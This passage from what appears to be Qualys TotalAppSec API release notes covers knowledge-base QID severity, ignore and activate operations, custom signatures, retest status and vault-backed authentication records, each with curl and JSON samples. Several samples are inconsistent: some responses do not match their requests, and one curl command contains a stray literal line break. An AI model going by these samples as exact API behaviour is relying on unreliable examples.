  --header 'authorization: Bearer <token>' \
  --header 'content-type: application/json' \
  --data '
{
  "qids": [
    150011
  ],
  "severity": 5,
  "comment": "Increasing severity of QID 150011 since it is high severity for our scenarios"
}
'

API Response

{
  "entries": [
    {
      "entityId": 150011,
      "status": "SUCCESS"
    }
  ]
}

New API: Restore Severity of QID

New or Updated APIs New
API Endpoint (New version) rest/knowledgeBase/1.0/restore
Method POST
JSON Schema Changes No

Restores one or more QIDs to their original Qualys-assigned severity, reverting any custom severity previously applied with the Edit Severity of QID operation.

Sample: Restore Severity of QIDSample: Restore Severity of QID

API Request

curl --request POST \
  --url <qualys_base_url>/rest/knowledgeBase/1.0/restore \
  --header 'authorization: Bearer <token>' \
  --header 'content-type: application/json' \
  --data '
{
  "qids": [
    150011
  ]
}
'

API Response

{
  "entries": [
    {
      "entityId": 150011,
      "status": "SUCCESS"
    }
  ]
}

New API: Activate QID

New or Updated APIs New
API Endpoint (New version) rest/knowledgeBase/1.0/activate
Method POST
JSON Schema Changes No

Reactivates one or more previously ignored QIDs. Once activated, scans include these vulnerabilities again and report new findings for affected applications.

Sample: Activate QIDSample: Activate QID

API Request

curl --request POST \
  --url <qualys_base_url>/rest/knowledgeBase/1.0/activate \
  --header 'authorization: Bearer <token>' \
  --header 'content-type: application/json' \
  --data '
{
  "qids": [
    105012,
    105015,
    105020
  ]
}
'

API Response

{
  "entries": [
    {
      "entityId": 150011,
      "status": "SUCCESS"
    }
  ]
}

New API: Ignore QID

New or Updated APIs New
API Endpoint (New version) rest/knowledgeBase/1.0/ignore
Method POST
JSON Schema Changes No

Marks one or more QIDs as ignored with a justification reason. Ignored QIDs are excluded from future scans and do not generate new findings for affected applications. Valid reasons are RISK_ACCEPTED, FALSE_POSITIVE, and NOT_APPLICABLE.

Sample: Ignore QIDSample: Ignore QID

API Request

curl --request POST \
  --url <qualys_base_url>/rest/knowledgeBase/1.0/ignore \
  --header 'authorization: Bearer <token>' \
  --header 'content-type: application/json' \
  --data '
{
  "qids": [
    150011
  ],
  "reason": "RISK_ACCEPTED",
  "comment": "we have handled this issue through other measures"
}
'

API Response

{
  "entries": [
    {
      "entityId": 150011,
      "status": "SUCCESS"
    }
  ]
}

New API: Create Custom Signature

New or Updated APIs New
API Endpoint (New version) rest/knowledgeBase/1.0/customSignature
Method POST
JSON Schema Changes No

Creates an organization-specific vulnerability signature (custom QID) in the knowledge base, with its own name, severity, and threat, impact, and solution text.

Sample: Create Custom SignatureSample: Create Custom Signature

API Request

curl --request POST \
  --url <qualys_base_url>/rest/knowledgeBase/1.0/customSignature \
  --header 'authorization: Bearer <token>' \
  --header 'content-type: application/json' \
  --data '
{
  "name": "Custom Authentication Bypass Check",
  "type": "CONFIRMED_VULNERABILITY",
  "severity": 5,
  "threat": "This custom signature checks for authentication bypass vulnerabilities in the application's login mechanism. Attackers can bypass authentication by manipulating session tokens or exploiting weak authentication logic.",
  "impact": "Successful exploitation allows unauthorized access to sensitive functionality and data, potentially leading to data breaches, privilege escalation, and complete system compromise.",
  "solution": "Implement proper authentication controls including strong password policies, multi-factor authentication, secure session management, and regular security testing of authentication mechanisms.",
  "signature": "// put your custom signature logic here"
}
'

API Response

{
  "qid": 6550014,
  "name": "Custom Authentication Bypass Check",
  "type": "CONFIRMED_VULNERABILITY",
  "severity": 5,
  "threat": "This custom signature checks for authentication bypass vulnerabilities in the application's login mechanism. Attackers can bypass authentication by manipulating session tokens or exploiting weak authentication logic.",
  "impact": "Successful exploitation allows unauthorized access to sensitive functionality and data, potentially leading to data breaches, privilege escalation, and complete system compromise.",
  "solution": "Implement proper authentication controls including strong password policies, multi-factor authentication, secure session management, and regular security testing of authentication mechanisms.",
  "signature": "// put your custom signature logic here",
  "publishedDate": 1776726086405,
  "updatedDate": 1776726086804
}

New API: Update Custom Signature

New or Updated APIs New
API Endpoint (New version) rest/knowledgeBase/1.0/customSignature/{cqid}
Method PUT
JSON Schema Changes No

Updates an existing custom signature identified by cqid. Only the fields present in the request body are changed; all other fields keep their existing values.

Input Parameters

Parameter Mandatory/Optional Data Type Description

cqid

Mandatory

integer

Unique identifier of the custom signature (custom QID) to update
Sample: Update Custom SignatureSample: Update Custom Signature

API Request

curl --request PUT \
  --url <qualys_base_url>/rest/knowledgeBase/1.0/customSignature/{cqid} \
  --header 'authorization: Bearer <token>' \
  --header 'content-type: application/json' \
  --data '
{
  "name": "Custom Authentication Bypass Check Updating Severity",
  "severity": 4
}
'

API Response

{
  "qid": 6550014,
  "name": "Custom Authentication Bypass Check Updating Severity",
  "type": "CONFIRMED_VULNERABILITY",
  "severity": 4,
  "threat": "This custom signature checks for authentication bypass vulnerabilities in the application's login mechanism. Attackers can bypass authentication by manipulating session tokens or exploiting weak authentication logic.",
  "impact": "Successful exploitation allows unauthorized access to sensitive functionality and data, potentially leading to data breaches, privilege escalation, and complete system compromise.",
  "solution": "Implement proper authentication controls including strong password policies, multi-factor authentication, secure session management, and regular security testing of authentication mechanisms.",
  "signature": "// put your custom signature logic here",
  "publishedDate": 1776726086405,
  "updatedDate": 1776726086804
}

New API: Delete Custom Signature

New or Updated APIs New
API Endpoint (New version) rest/knowledgeBase/1.0/customSignature/{cqid}
Method DELETE
JSON Schema Changes No

Permanently deletes a custom signature identified by cqid. This operation cannot be undone.

Input Parameters

Parameter Mandatory/Optional Data Type Description

cqid

Mandatory

integer

Unique identifier of the custom signature (custom QID) to delete
Sample: Delete Custom SignatureSample: Delete Custom Signature

API Request

curl --request DELETE \
  --url <qualys_base_url>/rest/knowledgeBase/1.0/customSignature/{cqid} \
  --header 'authorization: Bearer <token>'

API Response

{
  "entityId": 6550014,
  "status": "SUCCESS"
}

New API: Get Retest Status of FindingsTAS icon

A new Finding API returns the retest status of one or more findings. After you trigger a retest, use this operation to confirm whether the retest has run, what the retest scan detected, and who requested it, without having to fetch the full finding record.

New API: Get Retest Status of Findings

New or Updated APIs New
API Endpoint (New version) rest/finding/4.0/retest/status
Method POST
JSON Schema Changes No

Returns the current retest information for the findings identified by the UUIDs in the request. For each finding, the response reports the retest status, the status recorded by the retest scan, the reason, the date of the retest, and the user who requested it.

Sample: Get Retest Status of FindingsSample: Get Retest Status of Findings

API Request

curl --request POST \
  --url <qualys_base_url>/rest/finding/4.0/retest/status \
  --header 'authorization: Bearer <token>' \
  --header 'content-type: application/json' \
  --data '
{
  "uniqueIds": [
    "e51bb31c-688a-4c42-b24a-0ae1589f7e2d"
  ]
}
'

API Response

[
  {
    "id": 261418,
    "uuid": "a0e48d2b-4419-45d9-8e99-5d0575df963c",
    "retest": {
      "retestStatus": "RETESTED",
      "scanFindingStatus": "DETECTED",
      "reason": "Finding was confirmed",
      "retestedDate": 1787079271000,
      "retestedUser": {
        "id": 1055908,
        "username": "#SYSTEM-USER#@Accnt_184222",
        "firstName": "SYSTEM",
        "lastName": "USER"
      }
    }
  }
]

Enhancements in Authentication Record

Vault Connection Details in Authentication Record Responses

The Get Authentication Record and Search Authentication Records operations now return two additional response fields that identify the vault connection supplying the credentials for that record. Both fields can be selected through the fields parameter.
These fields are additive. Existing integrations are unaffected, and neither operation requires a change to your request payload. For the corresponding request-side changes, see Updated API: Create Authentication Record.

Operation Endpoint Status

Get Authentication Record

GETrest/authRecord/4.0/{id}

Updated

Search Authentication Records

POSTrest/authRecord/4.0/search

Updated
Field Data Type Description

vaultConnectionId

string

UUID of the vault connection associated with this authentication record.

vaultConnectionName

string

Display name of the vault connection associated with this authentication record.

Updated API: Create Authentication Record

New or Updated APIs Updated
API Endpoint (New version) rest/authRecord/4.0
Method POST
JSON Schema Changes Yes - new optional vault fields added to the request and response

The Create Authentication Record operation now accepts vault references in place of stored secrets. Instead of sending a password, client secret, API key, or bearer token in the request, set the vault-key flag on the field and point it at a vault variable in a configured vault connection. At scan time, TotalAppSec retrieves the value from your CyberArk Central Credential Provider vault, so the secret is never stored in Qualys.

Vault references are supported across the authentication types the endpoint already handles - server records, form records, custom headers, and API authentication (OAuth2 client ID and client secret, OAuth2 token request parameters, API keys, and bearer tokens). Records created with a vault reference return vaultConnectionId and vaultConnectionName, which identify the vault connection supplying the credentials.

These fields are optional and additive. Requests that send credential values directly continue to work unchanged, so existing integrations require no updates.

Sample: Create Authentication RecordSample: Create Authentication Record

API Request

curl --request POST \
  --url <qualys_base_url>/rest/authRecord/4.0 \
  --header 'authorization: Bearer <token>' \n  
  --header 'content-type: application/json' \
  --data '{
  "name": "DO | PublicAPI | Vault | OAuth2 Client Credentials | interfaces",
  "authRecordType": {
    "authType": "API",
    "apiAuthentication": {
      "config": {
        "type": "OAUTH2",
        "oauth2": {
          "grantType": "CLIENT_CREDENTIALS",
          "clientId": "Application-CyberArk-WASUI_OAuth_CC_DO-client-web-1 | WAS | UserName",
          "isClientIdSensitive": true,
          "isClientIdVaultKey": true,
          "clientIdVaultVariableUuid": "f4931b5f-c75b-4254-9355-b0274d565766",
          "clientSecret": "Application-CyberArk-WASUI_OAuth_CC_DO-client-web-1 | WAS | Content",
          "isClientSecretVaultKey": true,
          "clientSecretVaultVariableUuid": "bc8452e3-657e-4f88-bdf9-5133f9c1d17d",
          "accessTokenUrl": "http://10.113.225.30:7676/token",
          "accessTokenExpiredMsgPattern": "expiered",
          "scope": "products.read products.write",
          "clientAuthentication": "body",
          "tokenRequestParams": [
            {
              "key": "audience",
              "value": "Application-CyberArk-WASUI_OAuth_CC_TokenReqParam_DO-audience | WAS | Content",
              "sendAs": "request_body",
              "isSensitive": false,
              "isVaultKey": true,
              "vaultVariableUuid": "237fd11c-db4e-462e-a70f-efdf34d514ec"
            }
          ]
        }
      }
    }
  },
  "vaultConnectionId": "1139a735-2dac-4662-88b3-81bd6d954e6d",
  "vaultConnectionName": "131_DO_oAuth_CC"
}'

API Response

{
  "id": 1855737,
  "name": "DO | PublicAPI | Vault | Server Digest | deliverables",
  "tags": [
    {
      "id": 55379694,
      "uuid": "1cfd0b50-cd4f-4984-9b32-faea115a2f52",
      "name": "DO 1.26 Imported"
    }
  ],
  "authRecordType": {
    "authType": "WEBAPP"
  },
  "serverRecord": {
    "id": 1892207,
    "isSendAuthOverSslOnlyEnabled": false,
    "fields": [
      {
        "id": 1428623,
        "type": "DIGEST",
        "realm": "testauth",
        "username": "test",
        "password": "WASUI_SERVER_BASIC_And_DIGEST_DO | WAS | Content",
        "isVaultKey": true,
        "vaultVariableUuid": "40297ee8-7e05-4480-bcda-c13c2e5a399c"
      }
    ]
  },
  "comments": [
    {
      "comment": "Test Comment 1.28",
      "author": {
        "id": 1154687758,
        "username": "quaysxda3",
        "firstName": "Deepti",
        "lastName": "O"
      },
      "createdDate": 1789980603627
    }
  ],
  "owner": {
    "id": 1154687758,
    "username": "quaysxda3",
    "firstName": "Deepti",
    "lastName": "O"
  },
  "createdDate": 1789980603608,
  "updatedDate": 1789980603670,
  "createdBy": {
    "id": 1154687758,
    "username": "quaysxda3",
    "firstName": "Deepti",
    "lastName": "O"
  },
  "updatedBy": {
    "id": 1154687758,
    "username": "quaysxda3",
    "firstName": "Deepti",
    "lastName": "O"
  },
  "applicationsCount": 0,
  "scansCount": 0,
  "schedulesCount": 0,
  "vaultConnectionId": "d642f554-c9a9-40d2-a5d2-e12faf57f993",
  "vaultConnectionName": "Server_Auth_Digest_Vault"
}

 

© 2026 Qualys, Inc. All rights reserved. Privacy Policy. Last updated: September, 2026